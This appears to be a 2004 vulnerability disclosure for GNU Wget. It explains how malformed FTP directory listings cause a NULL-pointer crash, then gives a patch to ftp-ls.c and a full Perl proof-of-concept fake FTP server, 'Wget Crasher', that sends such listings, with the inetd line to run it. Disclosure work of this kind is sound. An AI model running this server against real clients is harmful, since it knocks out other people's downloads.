Hello,

I have found that it's possible for a malicious FTP server to crash GNU
Wget by sending malformed directory listings. Wget will parse them without
checking if they are written in the proper format. It will do a fixed number
of strtok() calls and then atoi() calls, and with the wrong format, atoi()
will dereference NULL, leading to a crash.

This affects 1.9.1, the latest CVS version and some older stable versions.

I have attached a patch against 1.9.1 that will correct this, and a little
fake FTP server that exhibits this problem when Wget connects to it. The server
should be started from inetd or xinetd. My inetd.conf line looks like this:

ftp     stream  tcp     nowait  metaur  /usr/bin/perl perl /path/to/wget-crasher.pl

// Ulf Harnhammar
   http://www.advogato.org/person/metaur/

--- src/ftp-ls.c.old    2003-09-15 00:04:12.000000000 +0200
+++ src/ftp-ls.c        2004-11-05 17:34:47.000000000 +0100
@@ -454,11 +454,14 @@
       /* First column: mm-dd-yy. Should atoi() on the month fail, january
         will be assumed.  */
       tok = strtok(line, "-");
+      if (tok == NULL) continue;
       month = atoi(tok) - 1;
       if (month < 0) month = 0;
       tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
       day = atoi(tok);
       tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
       year = atoi(tok);
       /* Assuming the epoch starting at 1.1.1970 */
       if (year <= 70) year += 100;
@@ -466,8 +469,10 @@
       /* Second column: hh:mm[AP]M, listing does not contain value for
          seconds */
       tok = strtok(NULL,  ":");
+      if (tok == NULL) continue;
       hour = atoi(tok);
       tok = strtok(NULL,  "M");
+      if (tok == NULL) continue;
       min = atoi(tok);
       /* Adjust hour from AM/PM. Just for the record, the sequence goes
          11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -497,7 +502,9 @@
          directories as the listing does not give us a clue) and filetype
          here. */
       tok = strtok(NULL, " ");
-      while (*tok == '\0')  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
+      while ((tok != NULL) && (*tok == '\0'))  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
       if (*tok == '<')
        {
          cur.type  = FT_DIRECTORY;
@@ -678,6 +685,7 @@
       /* Third/Second column: Date DD-MMM-YYYY. */
 
       tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
       DEBUGP(("day: '%s'\n",tok));
       day = atoi(tok);
       tok = strtok(NULL, "-");
@@ -695,11 +703,13 @@
       /* Uknown months are mapped to January */
       month = i % 12 ; 
       tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
       year = atoi (tok) - 1900;
       DEBUGP(("date parsed\n"));
 
       /* Fourth/Third column: Time hh:mm[:ss] */
       tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
       hour = min = sec = 0;
       p = tok;
       hour = atoi (p);
@@ -730,10 +740,12 @@
       /* Skip the fifth column */
 
       tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
 
       /* Sixth column: Permissions */
 
       tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM permissons */
+      if (tok == NULL) continue;
       tok = strtok(NULL, ")");
       if (tok == NULL)
         {
#!/usr/bin/perl --

# Wget Crasher 0.1.0 - fake FTP server that crashes GNU Wget
# by Ulf Harnhammar in 2004
# I hereby place this program in the public domain.

use strict;
use Socket;

@main::port = (0, 0, 0, 0, 0, 0);
$main::loggedin = 0;


sub mysend($)
{
  print "$_[0]\015\012";
} # sub mysend($)


sub myreceive($)
{
  my $inp = '';

  $inp = <STDIN>; $inp =~ tr/\015\012\000//d;
  $_[0] = $inp;
} # sub myreceive($)


$|++;
mysend('220 Welcome to Wget Crasher 0.1.0 !!');

while (1)
{
  my ($str, $savestr, $reststr) = ('', '', '');

  myreceive($str);
  $savestr = $str;
  $str =~ s|^([A-Z]+) *(.*)$|$1|;
  $reststr = $2;

  if ($str eq 'USER')
  {
    mysend('331 Anonymous access allowed, send identity (e-mail name) '.
           'as password.');
    $main::loggedin = 1;
    next;
  }

  if (($str eq 'PASS') && ($main::loggedin == 1))
  { mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; }

  if ($main::loggedin < 2)
  { mysend("500 '$savestr': Command not understood."); next; }

  if ($str eq 'SYST')
  { mysend('215 Windows_NT'); next; }

  if ($str eq 'PWD')
  { mysend('257 "/" is current directory.'); next; }

  if ($str eq 'TYPE')
  { mysend("200 Type set to $reststr."); next; }

  if ($str eq 'PORT')
  {
    if ($savestr !~
        m|^PORT ([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+),([0-9]+)$|)
    { mysend('500 Invalid PORT command.'); next; }

    @main::port = ($1, $2, $3, $4, $5, $6);
    mysend('200 PORT command successful.'); next;
  }

  if ($str eq 'LIST')
  {
    my ($remote, $port, $addr, $adddr, $tcp) = ('', 0, 0, 0, 0);

    if (($main::port[0] == 0) &&
        ($main::port[1] == 0) &&
        ($main::port[2] == 0) &&
        ($main::port[3] == 0))
    { mysend('425 Unable to build data connection: Invalid argument.'); next; }

    mysend('150 Opening BINARY mode data connection for /bin/ls.');

    $remote = "$main::port[0].$main::port[1].$main::port[2].$main::port[3]";
    $port = (256 * $main::port[4]) + $main::port[5];

    $addr = inet_aton($remote);
    $adddr = sockaddr_in($port, $addr);
    $tcp = getprotobyname('tcp');
    socket(SOCK, PF_INET, SOCK_STREAM, $tcp);
    if (!connect(SOCK, $adddr))
    { mysend("425 Can't open data connection."); next; }

    select SOCK; $| = 1; select STDOUT;
    foreach my $i (1 .. 15)
    {
      print SOCK '2004                                   '.
                 "Wget Crasher 0.1.0\015\012";
    }

    close SOCK;
    mysend('226 Transfer complete.');
    next;
  }

  if ($str eq 'QUIT')
  {
    mysend('221  Thanks for using Wget Crasher 0.1.0 !');
    exit 0;
  }

  mysend("500 '$savestr': Command not understood.");
} # while 1

__END__

Reply via email to